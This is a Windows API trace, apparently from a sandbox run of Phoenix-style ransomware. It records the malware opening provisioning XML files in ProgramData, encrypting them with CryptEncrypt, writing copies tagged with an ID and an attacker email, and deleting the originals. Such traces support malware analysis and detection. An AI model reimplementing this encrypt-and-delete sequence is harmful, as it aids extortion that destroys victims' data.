	[0231.720] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0231.720] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0231.721] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.721] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d9, lpOverlapped=0x0) returned 1
	[0231.784] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0231.784] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0231.785] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1512c0) returned 1
	[0231.785] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.785] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0231.785] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0231.785] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0231.785] CryptDestroyKey (hKey=0x151580) returned 1
	[0231.785] CloseHandle (hObject=0x2c0) returned 1
	[0231.786] CloseHandle (hObject=0x2d4) returned 1
	[0231.786] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml")) returned 1
	[0231.787] SetEvent (hEvent=0x278) returned 1
	[0231.787] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0231.787] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0231.787] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0231.787] CloseHandle (hObject=0x2d4) returned 1
	[0231.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0231.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0231.788] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0231.788] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.788] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0231.788] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0231.788] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0231.788] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0231.788] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0232.183] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0232.183] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0232.184] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0232.184] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0232.184] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0232.184] CryptDestroyKey (hKey=0x151380) returned 1
	[0232.184] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0232.184] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0232.184] CloseHandle (hObject=0x2d4) returned 1
	[0232.184] CloseHandle (hObject=0x2c0) returned 1
	[0232.184] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml")) returned 1
	[0232.299] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0232.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0232.300] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=713) returned 1
	[0232.300] CloseHandle (hObject=0x2f4) returned 1
	[0232.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0232.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.300] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0232.300] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0232.300] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0232.300] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0232.303] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0232.303] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0232.303] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c9, lpOverlapped=0x0) returned 1
	[0232.638] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0232.638] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0232.639] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0232.639] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0232.639] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0232.640] CryptDestroyKey (hKey=0x151580) returned 1
	[0232.640] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0232.640] CryptDestroyKey (hKey=0x151040) returned 1
	[0232.640] CloseHandle (hObject=0x2f4) returned 1
	[0232.640] CloseHandle (hObject=0x2e4) returned 1
	[0232.640] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml")) returned 1
	[0232.641] SetEvent (hEvent=0x278) returned 1
	[0232.641] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0232.641] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0232.641] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=705) returned 1
	[0232.641] CloseHandle (hObject=0x2e4) returned 1
	[0232.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0232.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.642] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0232.642] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0232.642] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0232.642] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0232.642] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1511c0) returned 1
	[0232.643] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0232.643] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c1, lpOverlapped=0x0) returned 1
	[0232.759] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0232.759] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0232.760] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0232.760] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0232.760] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0232.760] CryptDestroyKey (hKey=0x151580) returned 1
	[0232.760] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0232.760] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0232.760] CloseHandle (hObject=0x2e4) returned 1
	[0232.760] CloseHandle (hObject=0x2f4) returned 1
	[0232.761] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml")) returned 1
	[0232.762] SetEvent (hEvent=0x278) returned 1
	[0232.762] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0232.762] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0232.763] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=731) returned 1
	[0232.763] CloseHandle (hObject=0x2f4) returned 1
	[0232.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0232.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0232.764] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0232.764] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0232.764] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0232.764] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0232.764] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0232.764] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0232.764] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2db, lpOverlapped=0x0) returned 1
	[0232.866] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0232.866] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0232.867] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0232.867] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
